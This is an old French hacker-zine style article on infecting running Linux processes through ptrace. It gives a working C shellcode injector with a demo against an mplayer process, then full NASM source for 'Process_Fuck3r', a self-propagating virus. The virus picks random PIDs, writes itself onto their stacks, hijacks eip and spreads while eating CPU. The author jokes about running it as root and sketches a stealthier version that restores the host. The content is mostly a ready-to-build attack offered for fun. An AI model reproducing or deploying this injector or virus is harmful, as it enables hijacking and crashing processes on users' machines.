_ __ _ _ (_) / _| | | (_) _ __ _ __ ___ ___ ___ ___ ___ _ _ __ | |_ ___ ___| |_ _ ___ _ __ | '_ \| '__/ _ \ / __/ _ \/ __/ __| | | '_ \| _/ _ \/ __| __| |/ _ \| '_ \ | |_) | | | (_) | (_| __/\__ \__ \ | | | | | || __/ (__| |_| | (_) | | | | | .__/|_| \___/ \___\___||___/___/ |_|_| |_|_| \___|\___|\__|_|\___/|_| |_| | | |_| -- [ Infection des process en runtime N.B. : Cet article etait destine a etre publie ailleurs il y a longtemps. Depuis d'autre article sur le sujet on vu le jour, dont un dans MISC. 1 - Introduction. 2 - Jouer avec ptrace. 3 - Virus: première approche. 4 - Evolution ? 1 - Introduction ---------------- Je considère cet article comme un article 'détente', ce n'est pas trés technique les code sont simples et je trouve la finalité inutile mais marrante (: Plus sérieusement la modification de process en run-time n'a rien de nouveaux il existe deja quelque chose la dessus dans phrack. La plus part de ces articles on une approche permettant l'installation d'une backdoor sur la machine. Cet article traite de la facon de propager un virus de process en process. 2 - Jouer avec ptrace --------------------- Tout ce qui concerne le debugging, sous linux, est lié a ptrace(), on peut tracer un process que l'on va exécuter avec PTRACE_TRACEME, ou alors tracer un process en cours d'excution avec PTRACE_ATTACH. Autre option de ptrace() néssécaire: -PTRACE_GETREGS rempli une structure (user_regs_struct) contenant l'état des registres du process tracé. -PTRACE_SETREGS quand a lui sert a modifier l'état des registres. -PTRACE_POKEDATA nous premet d'ecrire dans l'espace du process tracé. -PTRACE_DETTACH libère le process tracé. Commencons par simplement injecter du code dans un process et lui faire executer. Déroulement de l'opération: Attachement au process. | | Attente et vérification de l'atachement. | | Régupération de l'état des registres du process tracé. | | Allocation d'espace dans le process. | | Copie du code a injecter dans cet espace. | | Redirigé le process vers ce code | | Détacher le proces Vla un petit bout de code pour illustrer ca : --[test.c] #include #include #include #include #include #include #include int main (int argc, char **argv) { char shellcode []= "\x90\x90\x90\x90\x90" //times 5 nop "\x31\xc0" //xor %eax,%eax "\x99" //cltd "\xb0\x04" //mov $0x4,%al "\x31\xdb" //xor %ebx,%ebx "\x43" //inc %ebx "\x68\x64\x20\x21\x0a" //push $0xa212064 "\x68\x6f\x77\x6e\x33" //push $0x656e776f "\x89\xe1" //mov %esp,%ecx "\xb2\x08" //mov $0x4,%dl "\xcd\x80" //int $0x80 "\x31\xc0" //xor %eax,%eax "\x40" //inc %eax "\x31\xdb" //xor %ebx,%ebx "\xcd\x80"; //int $0x80 pid_t pid; struct user_regs_struct reg; int i; if(!argv[1]){ printf("%s \n\n",argv[0]); exit(1); } pid = atoi(argv[1]); if(ptrace(PTRACE_ATTACH, pid, NULL,NULL)){ perror("PTRACE_ATTACH"); exit(1); } printf("[+] Attente d'atachement au processus %d\n",pid); if(waitpid(pid,NULL,WUNTRACED)<0){ perror("waitpid WUNTRACED"); exit(1); } printf("[+] Attachement réussi\n"); if(ptrace(PTRACE_GETREGS, pid, NULL, ®)){ perror("PTRACE_GETREGS"); exit(1); } printf("[+] Lecture des registres:\n"); printf("\t-eip: %#08lx\n\t-esp: %#08lx\n",reg.eip,reg.esp); reg.esp-=4096; for(i=0;i<36;i+=4){ if(ptrace(PTRACE_POKEDATA, pid, reg.esp+i,*(int*)&shellcode[0+i])){ perror("PTRACE_POKEDATA"); exit(1); } } printf("[+] Shellcode copié en esp:%#08lx\n",reg.esp); reg.eip=reg.esp; reg.eip+=3; //eip commence souvent 2 bytes avant if(ptrace(PTRACE_SETREGS, pid, NULL, ®)){ perror("PTRACE_SETREGS"); exit(0); } printf("[+] Redirection vers le shellcode eip:%#08lx\n",reg.eip); printf("[+] Détachement du processus %d\n",pid); ptrace(PTRACE_DETACH, pid, NULL, NULL); return(0); } --[/test.c] Ce bout de code permet d'injecter un shellcode dans un proces definit par argv[1]. Le shellcode affiche juste own3d ! et fait un exit(0); Démonstration : $ gcc test.c $ ps ax | grep mplayer 306 pts/2 S 0:00 mplayer Aural Planet - Changing My Mind.mp3 $ ./a.out 306 [+] Attente d'atachement au processus 306 [+] Attachement réussi [+] Lecture des registres: -eip: 0x40214de1 -esp: 0xbfffe920 [+] Shellcode copié en esp:0xbfffd920 [+] Redirection vers le shellcode eip:0xbfffd923 [+] Détachement du processus 306 own3d ! $ Pour une raison que je comprend pas, si je copie le shellcode a une adress et que je redirige eip a cet adresse eip commence toujours 2 bytes avant. Pour etre sur j'ai mis 5 nop au debut du shellcode, puis je redirige eip a l'adresse du shellcode +3. Le code étant inséré dans la stack il est évident que ca ne fonctionnera pas sur les kernel avec une stack protect. 3 - Virus: première approche ---------------------------- Maintenant un peu plus amusant. Le but est de faire en sorte que le code injecter a un process soit capable de rechercher lui meme des process a infecter, de les infecter et que ces process infecté soit a leur tour capable d'infecter d'autre process. Une fois le virus lancé, les process infecté vont stopper leur activité et passer leur temps à chercher d'autre process a infecter;) Préparez vous donc à rebootez dans la minute qui suit, ou a jouer rapidement du kill ;) Pour que ce soit plus drole le virus contient un générateur de nombre pseudo alétoire pour le choix des pids a infecter. Fonctionnement du virus: ______________________ | | +------>| tirage PID aléatoire | | |______________________| | | | | | __________|___________ | / / +--NON--+ Attachement au PID / | /_____________________/ | | | oui | ___________|_________ | | | | | Infection | | |_____________________| | | | ___________|_________ | | | +-------+ Détachement | |_____________________| La parti infection reprend a peu pret la meme que celle décrite dans le chapitre2 avec en plus un test pour savoir si le process est deja infecté ou pas. Un process est déclaré comme deja infecté si eip==0xBxxxxxxx. (Note, le 0xBxxxxxxx n'est pas valide pour les Fedora qui de toute facon on une stack non exec par defaut.) ; Process_Fuck3r ; -------------- ; ; ;nasm -f elf pf.asm ;cc pf.o -o pf -nostdlib ; ; STRUC regs_struc .ebx: resd 1 .ecx: resd 1 .edx: resd 1 .esi: resd 1 .edi: resd 1 .ebp: resd 1 .eax: resd 1 .ds: resw 1 .__ds: resw 1 .es: resw 1 .__es: resw 1 .fs: resw 1 .__fs: resw 1 .gs: resw 1 .__gs: resw 1 .orig_eax: resd 1 .eip: resd 1 .cs: resw 1 .__cs: resw 1 .eflags resd 1 .esp: resd 1 .ss: resw 1 .__ss: resw 1 ENDSTRUC %define size_regs_struc (regs_struc.__ss)-(regs_struc.ebx) +2 %define sys_fork 2 %define sys_time 13 %define sys_ptrace 26 %define PTRACE_POKEDATA 5 %define PTRACE_GETREGS 12 %define PTRACE_SETREGS 13 %define PTRACE_ATTACH 16 %define PTRACE_DETACH 17 %define sys_times 43 global _start section .evil _start: times 4 nop call delta delta: pop ebp sub ebp, 9 ;----------------------------------------------------------------------------- ; ;générateur de nombres pseudo aléatoire _rnd_pid: xor eax, eax mov al, sys_time xor ebx, ebx int 0x80 push 0x0000FFFF shl eax, cl add eax, ecx ; Adjust random value with random seed rol ecx, 1 ; Adjust random seed. add ecx, 0x666 push 32 pop ecx CRC_Bit: shr eax, 1 ; Bit is set? jnc Loop_CRC_Bit xor eax, 0xedb88320 Loop_CRC_Bit: loop CRC_Bit ; Do all 32 bits. pop ecx ; ECX = Max_Val. xor edx, edx ; Divide truely random value div ecx ; by Max_Val. xchg edx, ecx ;----------------------------------------------------------------------------- ; ;ptrace attach xor eax, eax mov al, sys_ptrace xor ebx, ebx mov bl, PTRACE_ATTACH ; xor edx, edx xor esi, esi int 0x80 test eax, eax jne _rnd_pid ;si eax négatif on essay un aure process ;----------------------------------------------------------------------------- ; ;recup des registres xor eax, eax mov al, sys_ptrace xor ebx, ebx mov ebx, PTRACE_GETREGS xor edx, edx sub esp, size_regs_struc mov esi, esp int 0x80 test eax, eax jne _detach ;----------------------------------------------------------------------------- ; ;test infection debug: mov eax, [esp+regs_struc.eip] shr eax, 28 cmp eax, 0xb ;si quartet fort de eip == 0xb on quitte je _detach ;recup de la place sur la stack du process hote _stack: mov eax,[esp+regs_struc.esp] sub eax, 4096 mov [esp+regs_struc.esp], eax ;prépare la copi mov eax, _end-_start ;taille a copier xor edi, edi ;initialisation compteur _copie: mov ebx, PTRACE_POKEDATA lea edx, [esp+regs_struc.esp+edi] mov esi, dword [ebp+edi] push eax ;sauvegarde de la size a copier xor eax, eax mov al, sys_ptrace int 0x80 test eax, eax jne _detach pop eax add edi, 4 cmp edi, eax jbe _copie ;redirection eip _redirection: lea eax, [esp+regs_struc.esp] add eax, 2 mov [esp+regs_struc.eip], eax xor eax, eax mov al, sys_ptrace mov ebx, PTRACE_SETREGS xor edx, edx mov esi, esp int 0x80 _detach: add esp, size_regs_struc ;restauration de la stack xor eax, eax mov al, sys_ptrace xor ebx, ebx mov ebx, PTRACE_DETACH xor edx, edx xor esi, esi int 0x80 jmp _rnd_pid times 3 nop _end: $ nasm -f elf pf.asm $ cc pf.o -o pf -nostdlib $ readelf -e pf |grep evil [ 2] .evil PROGBITS 08048080 000080 0000ee 00 A 0 0 1 Le virus est simple et tout petit seulement 238octets non optimisé. Bon évidament pour un max de fun, le mieux pour le tester c'est d'etre sous une mandrake bien lourde avec KDE comme window manager et tout plein de truc lancé ;) Et pour ceux d'entre vous, qui aime les choses extrème et qui veulent un max de sensation, j'vous conseille de le lancer en r00t. Une fois lancé, le virus va utiliser toute la puissance du CPU pour rechercher un process a infecter, une fois qu'il va en trouver un et l'infecter il vont ce partager a 2 les ressorces CPU restante et ainsi de suite. La technique bien bourrin quoi :) On peut donc suivre les process infecté avec top c'est facile c'est ceux qui bouffent toutes les ressources ;) 4 - Evolution ? --------------- Oui faudrais pouvoir faire évoluer ce virus, car si c'est fun de lancer aprés l'avoir codé, la 2eme fois c'est vraiment relou de foutre en l'air ca session. Le problème principal de Process_fucker est que le process hote est arrétté. On peut empéché ca en forkant le virus, oui mais alors la aucun interet de s'ataché préalablement a un process :) Autre solution: Une fois le PTRACE_ATTACH réussi on decend suffisament loin dans la pile, on vérifie que l'espace est plein de zéros (pour minimiser les risques de destructions de données du process), et on ecrit le virus. Lorsque le virus a reussi a infecté un autre process il rend la main au process hote. De cette facon les process sont juste mis en pause le temps d'en infecter un autre et une seule copi du virus tourne en meme temps. Le virus fonctionne a peu pret de la meme facon sauf qu'il devra commencer par sauver l'état des registres du process hote. Ensuite il cherche un process a infecter et une fois le PTRACE_DETACH effectué au lieu de repartir cherche un autre process il devra restauré les registres préalablement sauvé et jumpé ou pointé eip avant son execution. -- [ Pere-Castor